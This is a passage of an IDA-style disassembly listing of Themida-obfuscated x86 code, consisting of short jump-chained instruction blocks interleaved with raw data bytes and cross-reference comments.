		sub	esp, 4
		mov	[esp], esi
		push	eax
		pop	esi
		mov	ecx, esi
		pop	esi
		pop	eax
		and	eax, ecx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_56C1BD
; ---------------------------------------------------------------------------
		dd 94DBA52h, 0D301C975h, 9DE3815Ah, 680ADF26h, 1991h, 0B9240C89h
		dd 8952684h, 0E959CB31h, 0B79Ch, 4C681h, 0C6830000h, 24348704h
		dd 0E789575Ch, 8E5DE9h
		db 0
; ---------------------------------------------------------------------------


loc_55FB91:				; CODE XREF: Themida_:00560274j
		inc	ecx
		add	ecx, 86D4EB03h
		add	ebp, 21361BAh
		add	ebp, ecx
		push	ebx
		mov	ebx, 21361BAh
		jmp	loc_55C479
; ---------------------------------------------------------------------------
		db 52h
		dd 7716B850h, 0CE2D3CDDh, 891B9A58h, 0D50158C2h, 51C5295Ah
		dd 431E48B9h, 0E29BE921h, 0EE830000h, 24348704h, 240C895Ch
		dd 0B7152CB9h, 5E9C122h, 54F1E9h, 1FEB8100h, 0E92CE831h
		dd 0A328h
; ---------------------------------------------------------------------------


loc_55FBEC:				; CODE XREF: Themida_:00565AE9j
		mov	eax, ebp
		jmp	loc_570B0B
; ---------------------------------------------------------------------------


loc_55FBF3:				; CODE XREF: Themida_:0057043Cj
		pop	edi
		push	ebx
		mov	ebx, 119217A9h
		add	edi, ebx
		pop	ebx
		push	edi
		pop	ecx
		pop	edi
		or	eax, ecx
		jmp	loc_56527E
; ---------------------------------------------------------------------------
		db 0F7h
		dd 51E3D1D3h, 2CF1E9h
		db 0
; ---------------------------------------------------------------------------


loc_55FC11:				; CODE XREF: Themida_:0056C9E9j
		sub	edx, 2045184Eh
		sub	edx, 6E7A2191h
		mov	ebx, edx
		jmp	loc_55FE31
; ---------------------------------------------------------------------------
		dd 34FF5866h, 0C4835B24h, 12F28004h, 5982E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55FC36:				; CODE XREF: Themida_:005609F9j
		add	edx, 0B7EFFF74h
		sub	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_56BB44
; ---------------------------------------------------------------------------
		dd 57241C89h, 1CBFh, 5FFB8900h,	75B3E957h, 0B2580000h
		dd 59EA280Dh, 0D0009804h, 0A1685266h, 89000041h, 9DB3241Ch
		dd 8004E3C0h, 885038EBh, 98DDE9D8h, 0C4810000h,	4, 0A626E956h
		dd 0C870000h, 34895C24h, 2474FF24h, 48F5E04h, 479EE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55FC9E:				; CODE XREF: Themida_:00561C3Bj
		push	eax
		jmp	loc_570BF6
; ---------------------------------------------------------------------------


loc_55FCA4:				; CODE XREF: Themida_:0055DEADj
		push	edi
		mov	edi, 0E5F85B1Dh
		sub	esi, edi
		jmp	loc_56B828
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 0FB685B54h, 8900001Bh, 0F8BD242Ch, 503F247Dh, 12020B8h
		dd 58C52910h, 1E52BE56h, 0DBE93400h, 81000062h,	7E3BDFE5h
		dd 2AC58145h, 31025549h, 0C3015DE8h, 0B28FE9h, 4BB00h
		dd 0E9550000h, 9F2Ah
; ---------------------------------------------------------------------------


loc_55FCF8:				; CODE XREF: Themida_:00565D58j
		mov	edi, 4D9F0ED2h
		shr	edi, 5
		not	edi
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_56262A
; ---------------------------------------------------------------------------
		dd 2798F581h, 4D4507A9h, 0F581D5F7h, 0AD93B9A7h, 2C8BE931h
		dd 2D92E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55FD2A:				; CODE XREF: Themida_:0056A0B0j
		mov	ebx, 0FFFFFFFFh
		add	ecx, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	eax
		mov	eax, 4
		add	edx, 7D587658h
		sub	edx, eax
		sub	edx, 7D587658h
		jmp	loc_56FB79
; ---------------------------------------------------------------------------
aVs?		db 'V[?',0
		align 2


loc_55FD62:				; CODE XREF: Themida_:0055D203j
		not	dword ptr [esp]
		pop	ebp
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_56CB0D
; ---------------------------------------------------------------------------
aIrssP		db 'Sį',0
		dd 39E95B00h, 80FFFFCCh, 0D528C4C5h, 0EC7CE9h, 30B7B600h
		dd 30F430E6h, 1C480E6h,	0E955E686h, 9BEEh
; ---------------------------------------------------------------------------


loc_55FD9C:				; CODE XREF: Themida_:00564246j
		push	edx
		jmp	loc_56A598
; ---------------------------------------------------------------------------


loc_55FDA2:				; CODE XREF: Themida_:005644C7j
		mov	ebx, [esp]
		add	esp, 4
		add	ecx, ebx
		push	dword ptr [esp]
		pop	ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		sub	ebx, 8F02079h
		add	ebx, edi
		jmp	loc_56B7BA
; ---------------------------------------------------------------------------
		db 57h
		dd 0C781E789h, 4, 4EF81h, 3C870000h, 9FE95C24h,	0D1000046h
		dd 7E9C1E1h, 0FCCFF181h, 41E96720h, 280000DBh, 2434FFDEh
		dd 4C4835Bh, 80BAEE80h,	0EE0060EEh, 0BCA1E9h, 4C48100h
		dd 0F6000000h, 2EBC0DBh, 0D3F6E3D0h, 0C380C3FEh, 5BDD00F6h
		dd 5E08950h, 4,	1F99E9h
		db 0
; ---------------------------------------------------------------------------


loc_55FE31:				; CODE XREF: Themida_:0055FC1Fj
		mov	edx, [esp]
		jmp	loc_56C2D1
; ---------------------------------------------------------------------------


loc_55FE39:				; CODE XREF: Themida_:0056759Aj
		mov	ah, 1
		sub	cl, ah
		pop	ax
		add	cl, 0FFh
		jmp	loc_56F159
; ---------------------------------------------------------------------------


loc_55FE47:				; CODE XREF: Themida_:0056DB64j
		not	ecx
		jmp	loc_56C69D
; ---------------------------------------------------------------------------
		dw 82B7h
		dd 51BAF780h, 8047B652h, 0E6C07AF6h, 0D288E902h, 0F201FFFFh
		dd 456AC281h, 0E95E4B0Eh, 606Ah
; ---------------------------------------------------------------------------


loc_55FE70:				; CODE XREF: Themida_:0056BEA1j
		mov	ecx, ebp
		jmp	loc_566C39
; ---------------------------------------------------------------------------
		db 5Bh
		dd 4EF81h, 3C330000h, 243C3124h, 6FF1E9h, 2434FF00h, 5AE9515Bh
		dd 8B000069h, 0C483241Ch, 4BE5604h, 1000000h, 0EC815EF3h
		dd 4, 0BA241489h, 2, 4989EB81h,	0E9526CA1h, 0CF91h, 0C083D0F7h
		dd 0E176E901h, 348BFFFFh, 4C48124h, 0E9000000h,	0A0B4h
; ---------------------------------------------------------------------------


loc_55FED4:				; CODE XREF: Themida_:0056B9C4j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		jmp	loc_5609EE
; ---------------------------------------------------------------------------


loc_55FEE3:				; CODE XREF: Themida_:0056882Fj
		sub	dword ptr [esp], 3D3D1164h
		pop	eax
		push	edx
		mov	edx, esp
		jmp	loc_568663
; ---------------------------------------------------------------------------
		db 81h
		dd 73311BC2h, 0B8505502h, 3B165BCDh, 118BE9h, 5E6C100h
		dd 872FE9h
		db 0
; ---------------------------------------------------------------------------


loc_55FF0D:				; CODE XREF: Themida_:0055F2A7j
		pop	dword ptr [esp]
		jmp	loc_56A34A
; ---------------------------------------------------------------------------
		db 0Dh,	2Eh, 72h
		dd 0F7505456h, 2D582414h, 838F204Dh, 0DBDDE9h, 4E8C000h
		dd 0BBE9D8F6h
		db 6Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55FF33:				; CODE XREF: Themida_:00568943j
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		xor	ecx, 81952B7h
		pop	edx
		push	2C1Ch
		mov	[esp], eax
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_56014E
; ---------------------------------------------------------------------------
		dw 0DAF7h
		dd 1A62EA81h, 0EAC11D94h, 0FFF28102h, 11B601Eh,	10E95AD5h
		dd 0B90000E9h, 4, 8759CD29h, 248B242Ch,	241C8924h, 72B3B951h
		dd 0D1E9408Ch
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------


loc_55FF9B:				; CODE XREF: Themida_:0055CD9Bj
		mov	dh, 3Eh
		push	bx
		mov	bl, dh
		inc	bl
		mov	dh, bl
		pop	bx
		push	cx
		jmp	loc_563588
; ---------------------------------------------------------------------------


loc_55FFAE:				; CODE XREF: Themida_:0056EF8Fj
		mov	[esp], edx
		push	24h
		jmp	loc_561592
; ---------------------------------------------------------------------------
		db 89h
dword_55FFBC	dd 9FE92404h, 53000029h, 6DA0BE56h, 0EE8172E9h,	32B5BB4h
		dd 0EE81D6F7h, 4CE0EC7Ah, 0BE5EF389h, 92C62F42h, 66E6EE81h
		dd 0DE294C2Fh, 66E6C681h, 2D5B4C2Fh, 28060935h,	3505F029h
		dd 8B280609h, 0C4812434h, 4, 35F3BA52h,	0F2813AEAh, 306E64EDh
		dd 0E95AD029h, 0ECA0h
; ---------------------------------------------------------------------------


loc_560018:				; CODE XREF: Themida_:0055F3A9j
		xchg	eax, [esp]
		jmp	loc_56AE20
; ---------------------------------------------------------------------------
		dd 411C6866h, 24048966h, 0C20001B0h, 1EC7E9h, 240C8700h
		dd 0E9D8F75Ch, 10986h, 5FF7C181h, 0CB895AEBh, 4E3C159h
		dd 1AFA68h, 24348900h, 372FBA52h, 6EBE0D87h, 29248B40h
		dd 3CCEE9D6h, 1C8B0000h, 48E95324h, 83000066h, 0EC8304C4h
		dd 242C8904h, 0FFC8D1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560079:				; CODE XREF: Themida_:0056ED75j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 2
		jmp	loc_561B4C
; ---------------------------------------------------------------------------
		db 0C0h, 0EEh, 4
		dd 24C680h, 0BCE95AF3h,	31000067h, 0DE295FFBh, 83241C8Bh
		dd 0F03104C4h, 8324348Bh, 575604C4h, 0C85F32BFh, 47D7F75Bh
		dd 3394E9h, 0C265E900h,	0C381FFFFh, 28AB4795h, 4775F381h
		dd 8950E0ABh, 58C289D8h, 83241C8Bh, 506804C4h, 0E9000077h
		dd 42A4h, 5C240487h, 0FFC23AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5600E9:				; CODE XREF: Themida_:0056D219j
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		push	eax
		jmp	loc_5652BA
; ---------------------------------------------------------------------------
		db 29h
		dd 19EBE9CEh, 0E8890000h, 3E8C15Dh, 5502E8C1h, 0A174CEBDh
		dd 0FBC1E923h, 5056FFFFh, 7F1B6E68h, 0DD0D5821h, 522D204h
		dd 12C025A8h, 5358C689h, 171BE9h, 8BE68800h, 14E92404h
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56013B:				; CODE XREF: Themida_:00571417j
		push	6DD3h
		mov	[esp], eax
		jmp	loc_55CAC9
; ---------------------------------------------------------------------------


loc_560148:				; CODE XREF: Themida_:00560DC1j
		push	ecx
		jmp	loc_56CA79
; ---------------------------------------------------------------------------


loc_56014E:				; CODE XREF: Themida_:0055FF61j
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_560F59
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 98B85055h, 5296A51h,	69EB4857h, 0DD160705h, 4E0C145h
		dd 37A20548h, 0C58972F4h, 5DEB8958h, 0C3B7E94Bh, 0F1810000h
		dd 63C248AAh, 48C1E9h, 9F0BBB00h, 0D989519Ch, 3DF0E9h
		dd 0E9E38900h, 8CFCh, 54ECE981h, 0F1293243h, 54ECC181h
		dd 0E9813243h, 4ADC2B2Ch, 6B2CE9h, 24348B00h, 3581E9h
		dd 0BF575300h, 63657EFEh, 902E781h, 10E90680h, 5D0000A3h
		dd 575AD301h, 56FCA9BFh, 5FFB0168h, 0E95BDF01h,	43B8h
		dd 6C685854h, 89000058h, 0BD552434h, 0ABE202Dh,	2029ED81h
		dd 0EE890ABEh, 8BF0015Dh, 0C4812434h, 4, 4BD55h, 0E8010000h
		dd 0BDA5E9h
		db 0
; ---------------------------------------------------------------------------


loc_56021D:				; CODE XREF: Themida_:0055D567j
		pop	esp
		jmp	loc_55F3CC
; ---------------------------------------------------------------------------
		db 1
		dd 0FF5558C5h, 8B042474h, 8953242Ch, 4C381E3h, 68000000h
		dd 4591h, 0E9243489h, 0FFFFD86Fh
dword_560244	dd 4EC81h, 4890000h, 76FE6824h,	48B3A51h, 4C48124h, 0E9000000h
					; DATA XREF: Themida_:0055C144o
		dd 0FFFFE158h, 24148966h, 0E99C5066h, 0FFFFC0B7h
; ---------------------------------------------------------------------------


loc_56026C:				; CODE XREF: Themida_:00564293j
		mov	ebp, esp
		push	ecx
		mov	ecx, 792B1500h
		jmp	loc_55FB91
; ---------------------------------------------------------------------------


loc_560279:				; CODE XREF: Themida_:0056A5DEj
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_560B46
; ---------------------------------------------------------------------------
		dd 8108E6C1h, 0FFFFFFC6h, 0E95655FFh, 0BB8Ah
; ---------------------------------------------------------------------------


loc_560298:				; CODE XREF: Themida_:0056D6C9j
		mov	[esp], esi
		jmp	loc_564991
; ---------------------------------------------------------------------------
		dd 59240C29h, 5AEEC981h, 0F741345Fh, 6F181D1h, 111145Ah
		dd 0C18959C8h, 61C78158h, 1517852h, 61EF81CFh, 59517852h
		dd 0E9243C33h, 77E8h
; ---------------------------------------------------------------------------


loc_5602D0:				; CODE XREF: Themida_:0056EF21j
		mov	cl, 13h
		shr	cl, 7
		add	cl, 0D2h
		jmp	loc_564ADE
; ---------------------------------------------------------------------------


loc_5602DD:				; CODE XREF: Themida_:0056FCE2j
		sub	esp, 4
		jmp	loc_56341B
; ---------------------------------------------------------------------------
		dd 0EAE9F1F6h
		db 99h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5602EF:				; CODE XREF: Themida_:0056EDB7j
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		movsx	cx, al
		push	small 64F0h
		jmp	loc_56EB99
; ---------------------------------------------------------------------------


loc_560305:				; CODE XREF: Themida_:00564504j
		mov	[esp], ebp
		mov	ebp, 4
		add	edx, ebp
		mov	ebp, [esp]
		jmp	loc_564772
; ---------------------------------------------------------------------------
		db 8Fh
		dd 815C2404h, 631709C5h, 81DD015Ah, 631709EDh, 0FF685B5Ah
		dd 89000072h, 0DDE9241Ch, 100007Ch, 0DBF75DEBh,	57C268h
		dd 243C8900h, 82EB2DBFh, 5FFB31FAh, 815BDF01h, 4C7h, 243C8700h
		dd 4EC835Ch, 0BD242C89h, 51206764h, 0E945EDD1h,	0FFFFEC1Ch
		dd 790D68h, 0D167E900h,	565FFFFFh, 0D34037BEh, 2444811Bh
		dd 2D51A908h, 2474291Ah, 246C8108h, 2D51A908h, 54015E1Ah
		dd 44810424h, 40370424h, 5E5A1BD3h, 0A697E952h,	0F1290000h
		dd 2871C181h, 95E94168h, 5A0000F6h, 952CD000h, 0FAB75366h
		dd 0C251E952h
		db 2 dup(0FFh)
word_5603C2	dw 8B66h		; DATA XREF: Themida_:0055C0DCo
		dd 0EC83240Ch, 24148904h, 9487E954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5603D2:				; CODE XREF: Themida_:0056A0F9j
		pop	ecx
		mov	[eax], edi
		pop	edi
		sub	[eax], ebp
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_56F97E
; ---------------------------------------------------------------------------


loc_5603F0:				; CODE XREF: Themida_:0057045Bj
		mov	[esp], ebx
		push	eax
		jmp	loc_55D224
; ---------------------------------------------------------------------------
		db 1, 0F3h, 81h
		dd 77A7AC3h, 0F5B8500Ah, 9507D945h, 9545D5F7h, 8E95248h
		dd 880000AEh, 0D83059CBh, 83241C8Bh, 0EC8304C4h, 24048904h
		dd 803CB151h, 0ACE948F1h, 0F700005Dh, 8004E9D2h, 5050000h
		dd 2D1ECD0Fh, 30E4E74h,	6DBD555Dh, 0C147C017h, 0E94D07E5h
		dd 106F1h
; ---------------------------------------------------------------------------


loc_560450:				; CODE XREF: Themida_:005676CCj
		push	ebp
		jmp	loc_563982
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 50E611E0h, 355BD809h, 0FCF751FCh, 7617C381h,	0C3014AFEh
		dd 7617EB81h, 48B4AFEh,	4C48324h, 4C381h, 2AE90000h, 1000023h
		dd 35BE9FDh, 248B0000h,	241C8924h, 0F988D788h, 0E2FCE9h
		dd 5F37BD00h, 81456693h, 1B7373E5h, 0F7D58746h,	81D587D2h
		dd 0FFFFFFEDh, 4405E9FFh, 0EBC10000h, 4EBC103h,	4A01B951h
		dd 0CB3100E6h, 5BDE0159h, 31243433h, 34332434h,	24248B24h
		dd 0B413E9h, 0F5815900h, 0C94BE960h, 47E9E801h
		db 1Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5604E7:				; CODE XREF: Themida_:00568249j
		push	0F86h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 4
		add	ecx, 8027E93h
		add	ecx, 81B2E71h
		add	ecx, eax
		sub	ecx, 81B2E71h
		sub	ecx, 8027E93h
		jmp	loc_564173
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
aSA		db '[',0
		align 2
		dw 0C681h
		dd 4, 4C681h, 34330000h, 24343124h, 3A25E9h, 45F58100h
		dd 1782C01h, 242C8BE8h,	504C483h, 4, 8B240487h,	89522424h
		dd 597F68E2h, 0C890000h, 4B85024h, 0E9000000h, 953Bh
; ---------------------------------------------------------------------------


loc_560570:				; CODE XREF: Themida_:0057136Aj
		or	dh, 0DFh
		jmp	loc_56A832
; ---------------------------------------------------------------------------
		dd 0E9D9015Eh, 6AC8h, 26E9E8D1h, 5000001Dh, 760472B8h
		dd 7D47BD1Dh, 0C5315E99h, 233E958h
		db 1, 0
; ---------------------------------------------------------------------------


loc_56059A:				; CODE XREF: Themida_:0056E380j
		mov	esp, [esp]
		push	small 4932h
		mov	[esp], bx
		push	5A0h
		mov	[esp], ecx
		mov	cl, 31h
		mov	bl, 0FFh
		sub	esp, 4
		mov	[esp], edx
		mov	dh, 26h
		add	bl, 0F5h
		add	bl, dh
		sub	bl, 0F5h
		jmp	loc_55F77C
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_56D499
; ---------------------------------------------------------------------------
		dw 7AB2h
		dd 0FFFA3FE9h, 43C980FFh, 20D1F180h, 526659CBh,	0F328F6B6h
		dd 49E95A66h, 5300001Ah, 730524BBh, 8BDA8973h, 0C481241Ch
		dd 4, 8245429h,	8C11E9h, 56D30500h, 348B2507h, 4C48324h
		dd 4741E9h
		db 0
; ---------------------------------------------------------------------------


loc_560621:				; CODE XREF: Themida_:0056A8E1j
		push	ebp
		mov	ebp, 1CA12775h
		push	ebp
		mov	ebp, 31C04CF4h
		jmp	loc_55CA18
; ---------------------------------------------------------------------------


loc_560632:				; CODE XREF: Themida_:0056726Dj
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_5695E0
; ---------------------------------------------------------------------------
aFlSO		db 'f$${',0          ; DATA XREF: Themida_:0055C048o
		align 2
		dw 0EC81h
		dd 4, 4D48E9h
		db 0
byte_560651	db 0FFh, 77h, 40h	; DATA XREF: Themida_:0055C0BCo
		dd 0FFBCCAE9h, 0C5815DFFh, 4, 4B951h, 0CD010000h, 0DAEE959h
		dd 0EC810001h, 4, 0FF240489h, 8B042474h, 0C4812404h, 4
		dd 8B24048Fh, 89532424h, 4C381E3h, 52000000h, 95CCE9h
		dd 241C8700h, 0A653E9h
		db 0
; ---------------------------------------------------------------------------


loc_5606A1:				; CODE XREF: Themida_:0055C925j
		push	eax
		mov	eax, 610244h
		jmp	loc_56D5F3
; ---------------------------------------------------------------------------
dword_5606AC	dd 9C241CF7h, 0FFBC6EE9h, 13F381FFh, 81568A71h,	4ECh, 24148900h
					; DATA XREF: Themida_:0055C274o
		dd 0FFFFFFBAh, 0D1EB81FFh, 81601266h, 0DA0241EBh, 0E9D32953h
		dd 10E34h, 0E9E0B151h, 0FFFFDD94h, 0E9C0EB80h, 514h
; ---------------------------------------------------------------------------


loc_5606EC:				; CODE XREF: Themida_:0056D5DEj
		xor	ecx, 0A265BA7Bh
		mov	edx, ecx
		pop	ecx
		jmp	loc_56942F
; ---------------------------------------------------------------------------
		dw 335Fh
		dd 0C31240Ch, 240C3324h, 241C895Ch, 241C8B54h, 5504C483h
		dd 4BB53h, 5D530000h, 8BEB015Bh, 0C483242Ch, 10D06804h
		dd 57E90000h
		db 0C0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56072B:				; CODE XREF: Themida_:005619B6j
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_55C42D
; ---------------------------------------------------------------------------
		db 28h
		dd 8BDF2CE8h, 0C483240Ch, 52505204h, 52B421B6h,	885AF400h
		dd 2434FFE6h, 8124048Bh, 4ECh, 8351E900h
		db 2 dup(0)
word_56076A	dw 68ADh		; DATA XREF: Themida_:0055C174o
		dd 54Dh, 52240C89h, 0FA75E9h
		db 0
; ---------------------------------------------------------------------------


loc_560779:				; CODE XREF: Themida_:005652C1j
		inc	eax
		neg	eax
		or	eax, 3E996D09h
		dec	eax
		add	eax, 0C1249226h
		add	ebp, eax
		pop	eax
		sub	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_55C323
; ---------------------------------------------------------------------------
		db 0E9h, 7Dh, 0BBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5607A6:				; CODE XREF: Themida_:0056495Dj
		add	dword ptr [esp+4], 734924D3h
		push	ecx
		push	6FE8h
		mov	[esp], eax
		mov	eax, 799F0FB6h
		jmp	loc_568CCE
; ---------------------------------------------------------------------------


loc_5607C1:				; CODE XREF: Themida_:0055C43Cj
		xor	esi, 4133002Ch
		jmp	loc_569DDF
; ---------------------------------------------------------------------------
		dd 18E9D989h, 81FFFFEDh, 0DF29FBEBh, 2434FF69h,	0E789575Fh
		dd 8187E9h, 0ED815F00h,	66EE6AA3h, 0D34EE9h
		db 0
byte_5607F1	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0055C148o
aHq		db '$h{',0
		align 2
aI4Ichd9	db '4$h9',0
		align 4
		dd 55241489h, 0EB3277BDh, 0EE895675h, 93FFE9h, 241C8900h
		dd 8951E389h, 0DFA3E9E1h, 835B0000h, 48904ECh, 26824h
		dd 6E90000h
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560833:				; CODE XREF: Themida_:00560947j
		push	1D42h
		mov	[esp], ebp
		push	eax
		jmp	loc_56A884
; ---------------------------------------------------------------------------
aWt_s		db '^WT_!{',0
		align 2


loc_56084A:				; CODE XREF: Themida_:00563409j
		mov	[esp], eax
		push	edx
		mov	dl, 0B5h
		push	ebx
		mov	bl, 0A4h
		and	bl, 33h
		sub	bl, 0FCh
		sub	dl, 0AFh
		sub	dl, bl
		add	dl, 0AFh
		pop	ebx
		push	ecx
		mov	cl, dl
		mov	ah, cl
		pop	ecx
		pop	edx
		sub	ah, 0FCh
		and	bh, ah
		push	dword ptr [esp]
		pop	eax
		jmp	loc_565624
; ---------------------------------------------------------------------------
		db 0B9h
		dd 66D22FD8h, 0F181D1F7h, 0F279BF4Ah, 959CF89h,	685FFAh
		dd 29000000h, 34FF2414h, 24148B24h, 4C481h, 89560000h
		dd 4C681E6h, 83000000h,	348704C6h, 0C2815C24h, 7BD76F83h
		dd 0ECE9D601h, 0C1000066h, 0D3F708EBh, 33E6EB81h, 0EB815CADh
		dd 0A2DF5C0Dh, 835BDD01h, 0CAE904ECh, 0BF0000A5h, 2EDC7069h
		dd 5202EFC1h, 330A11BAh, 0EBB4E97Eh, 248BFFFFh,	91BE924h
		dd 0E9520000h, 0FFFFCF0Ah, 0E40D9F05h, 71C12D48h, 0E95F5223h
		dd 0A65Ah, 0BC4BF205h, 46C32D0Bh, 3905416Bh, 293EC157h
		dd 8EC6E9C8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56091E:				; CODE XREF: Themida_:0056D7EEj
		mov	ebx, 66024A28h
		mov	edi, 99FDB5DCh
		add	edi, ebx
		jmp	loc_5702EF
; ---------------------------------------------------------------------------


loc_56092F:				; CODE XREF: Themida_:0055DF93j
		mov	eax, [esp]
		push	64B8h
		mov	[esp], ebx
		push	3F40h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		jmp	loc_560833
; ---------------------------------------------------------------------------
		dd 83240C89h, 248904ECh, 10E2E924h, 68520000h, 4, 0FFEB56E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560965:				; CODE XREF: Themida_:0056CEC9j
		mov	cl, 62h
		add	bl, cl
		push	dword ptr [esp]
		jmp	loc_57031D
; ---------------------------------------------------------------------------


loc_560971:				; CODE XREF: Themida_:0056F5A9j
		add	esp, 4
		jmp	loc_569D12
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 25h
		dd 68240267h, 55AEh, 2DD7E9h
		db 0
; ---------------------------------------------------------------------------


loc_560989:				; CODE XREF: Themida_:00560B4Fj
		push	ecx
		push	ebx
		push	5F253B6Fh
		jmp	loc_56CEDC
; ---------------------------------------------------------------------------
		db 56h,	89h, 0E6h
		dd 4C681h, 10E90000h, 59000032h, 0FC19E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5609AA:				; CODE XREF: Themida_:00560BA6j
		mov	[esp], edi
		jmp	loc_56119A
; ---------------------------------------------------------------------------
		dw 0E181h
		dd 147A3CD5h, 1391E9h
		db 0
byte_5609BD	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:0055C0F0o
		dd 6659669Dh, 9C241CD3h, 0FFB956E9h, 5FFA21FFh,	7E2C142h
		dd 9A56E956h, 0D8290000h, 56F7BA52h, 5E92CECh
		db 76h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5609E7:				; CODE XREF: Themida_:00567AF8j
		mov	ecx, esp
		jmp	loc_565DA2
; ---------------------------------------------------------------------------


loc_5609EE:				; CODE XREF: Themida_:0055FEDEj
		mov	edx, 483008B6h
		and	edx, 7D5430D8h
		jmp	loc_55FC36
; ---------------------------------------------------------------------------


loc_5609FE:				; CODE XREF: Themida_:0056F647j
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_55CA51
; ---------------------------------------------------------------------------
		dd 2BFh, 0CC50E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560A12:				; CODE XREF: Themida_:005658B7j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	edi
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		jmp	loc_55F5E4
; ---------------------------------------------------------------------------
		dw 2805h
		dd 2D3FAB4Ah, 6D3B1574h, 6754BF05h, 2434FF08h, 0E92434FFh
		dd 0B91Ch, 311FC381h, 295D2CE8h, 0A3E95BD8h, 5300005Ch
		dd 21CFB850h, 0E0C17B6Eh, 2DD8F702h, 124778C0h,	7B47E9h
		dd 749CB800h, 0C5213A71h, 1C58158h, 0E90A10AFh,	0FFFFE630h
		dd 5C241C87h, 0F0283704h, 2EC81h, 0F4E90000h
		db 0ADh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_560AAB:				; CODE XREF: Themida_:005671B4j
		mov	ebx, [esp]
		add	esp, 4
		add	esi, ecx
		jmp	loc_56AE8D
; ---------------------------------------------------------------------------


loc_560ABB:				; CODE XREF: Themida_:0056D724j
		mov	ebx, 156150A4h
		xor	ebx, 17644186h
		xor	edi, ebx
		pop	ebx
		jmp	loc_57142E
; ---------------------------------------------------------------------------
		dw 0EF87h
		dd 76E9FD87h, 5A00006Dh, 48DCEB81h, 0EB813D5Dh,	0A077A7Ah
		dd 0FFF910E9h
		db 0FFh
byte_560AE9	db 0FFh, 34h, 24h	; DATA XREF: Themida_:0055C230o
aXh		db 'Xh))',0
		align 2
aI4Icrsuq	db '4$R铟',0
		dd 24348700h, 5624248Bh, 1BEh, 0DA00E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560B0E:				; CODE XREF: Themida_:0056BC14j
		mov	ecx, 2D2D0B58h
		push	edi
		mov	edi, ecx
		mov	edx, edi
		pop	edi
		pop	ecx
		push	ebx
		mov	ebx, 0D9583B1Dh
		add	edx, ebx
		pop	ebx
		or	edi, edx
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 0FFFFFFFFh
		jmp	loc_563B18
; ---------------------------------------------------------------------------
aC?vRS		db '',0Ah
		db '?Vr',27h,'',0
		align 2


loc_560B46:				; CODE XREF: Themida_:00560283j
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		jmp	loc_560989
; ---------------------------------------------------------------------------


loc_560B54:				; CODE XREF: Themida_:0055F866j
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_56DE19
; ---------------------------------------------------------------------------
		db 5Ah,	59h, 53h
